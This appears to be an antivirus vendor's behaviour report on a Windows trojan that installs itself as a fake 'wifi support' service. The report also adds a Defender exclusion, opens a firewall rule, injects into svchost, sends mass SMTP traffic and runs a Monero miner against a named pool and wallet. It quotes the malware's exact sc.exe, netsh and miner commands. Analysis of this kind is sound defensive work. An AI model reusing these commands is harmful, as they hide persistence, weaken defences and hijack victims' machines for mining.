Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\tmfhfzal] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\tmfhfzal] 'ImagePath' = '%WINDIR%\SysWOW64\tmfhfzal\yxlnbyzr.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\tmfhfzal] 'ImagePath' = '%WINDIR%\SysWOW64\tmfhfzal\yxlnbyzr.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\tmfhfzal' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\yxlnbyzr.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\yxlnbyzr.exe to %WINDIR%\syswow64\tmfhfzal\yxlnbyzr.exe
Deletes itself.
Network activity
Connects to
- 'ms#####.##c.protection.outlook.com':25
- 'ma##.b-io.co':25
TCP
HTTP GET requests
- http://www.google.com/
- http://li##4u.ru/client/instagram_native/likes.json?to################################################
- http://ap#.##address.com/myip
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK wi#d.it
- DNS ASK mb##.vol.it
- DNS ASK we####l.suite-k.com
- DNS ASK su##e-k.com
- DNS ASK mx#.#####tteit.c3s2.iphmx.com
- DNS ASK de##itte.it
- DNS ASK ba##aimi.it
- DNS ASK mb##.netway.it
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.th
- DNS ASK sm####n.libero.it
- DNS ASK li##ro.it
- DNS ASK li##4u.ru
- DNS ASK re####i.windsoc.net
- DNS ASK po####.iberlayer.com
- DNS ASK mx####re.attiva.biz
- DNS ASK in####usiness.it
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK va####riftinc.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK ho##ail.es
- DNS ASK pm##.unina.it
- DNS ASK cd#.#nina.it
- DNS ASK sm##.renault.fr
- DNS ASK nm##a.es
- DNS ASK ma##.#targazete.com
- DNS ASK st###azete.com
- DNS ASK pe##yo.com
- DNS ASK un#2.es
- DNS ASK ma##.b-io.co
- DNS ASK ab###.itg.ti.com
- DNS ASK sp##y.it
- DNS ASK in###gram.com
- DNS ASK pn##lxua.it
- DNS ASK wr##.org
- DNS ASK vm#.org
- DNS ASK ut########p0001.trinity-health.org
- DNS ASK sj##yr.org
- DNS ASK no####tyl.com.pl
- DNS ASK il###ifesto.it
- DNS ASK ma##.#egister.it
- DNS ASK al###iotech.it
- DNS ASK mx.#ltin.it
- DNS ASK al##n.it
- DNS ASK mx##.#ngw.orange.tn
- DNS ASK in#.#anadoo.es
- DNS ASK ma##.fmmg.it
- DNS ASK fm#g.it
- DNS ASK ya##o.co.uk
- DNS ASK lo###rdiacom.it
- DNS ASK dt.##loitte.it
- DNS ASK sm##.##cureserver.net
- DNS ASK ew###info.com
- DNS ASK te###########-it.mail.protection.outlook.com
- DNS ASK te####alia.pv.it
- DNS ASK ce###ervice.it
- DNS ASK ce####trolivorno.it
- DNS ASK er####.itg.ti.com
- DNS ASK dl###.itg.ti.com
- DNS ASK ib#.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK ib###ences.com
- DNS ASK mx#.##ach.net.au
- DNS ASK ag###ech.com.au
- DNS ASK ma###.copaair.com
- DNS ASK co##air.com
- DNS ASK to##to.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK wa##.nsw.gov.au
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho##ail.fr
- DNS ASK ma##.#-email.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ic##d.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ed####.wa.edu.au
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK an####am.sssnet.com
- DNS ASK ss##et.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK po##.#ashvault.pro
- DNS ASK mx#.#anmail.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ha##ail.net
- DNS ASK ALT1.ASPMX.L.GOOGLE.com
- DNS ASK ba####oviajes.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho##ail.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ao#.com
- DNS ASK em##l.it
- DNS ASK de##a.com
- DNS ASK rc####rmatica.it
- DNS ASK google.com
- DNS ASK li###orp.com
- DNS ASK sm###.##fortlessoffice.com
- DNS ASK tw###obal.com
- DNS ASK a3#####03.direcpc.com
- DNS ASK di###way.com
- DNS ASK vi#####nmobiliaria.com
- DNS ASK ti#######l.c.mad.interhost.com
- DNS ASK ti##sa.com
- DNS ASK aspmx.l.google.com
- DNS ASK sa###eguros.com
- DNS ASK ba#####da.vision.net
- DNS ASK dt###rld.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK mx.#mail.it
- DNS ASK mf##.com
- DNS ASK ju#####c.eng.sun.com
- DNS ASK ma##.###etepercomunicare.it
- DNS ASK la#####ercomunicare.it
- DNS ASK sm####n.inwind.it
- DNS ASK in##nd.it
- DNS ASK mx#.##il.ovh.net
- DNS ASK id##lab.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.es
- DNS ASK mx.###mexperts.com
- DNS ASK ar###.net.au
- DNS ASK ib##hel.org
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\tmfhfzal\yxlnbyzr.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\tmfhfzal\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\yxlnbyzr.exe" %WINDIR%\SysWOW64\tmfhfzal\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create tmfhfzal binPath= "%WINDIR%\SysWOW64\tmfhfzal\yxlnbyzr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description tmfhfzal "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start tmfhfzal' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\tmfhfzal\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\yxlnbyzr.exe" %WINDIR%\SysWOW64\tmfhfzal\
- '%WINDIR%\syswow64\sc.exe' create tmfhfzal binPath= "%WINDIR%\SysWOW64\tmfhfzal\yxlnbyzr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description tmfhfzal "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start tmfhfzal
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p с -k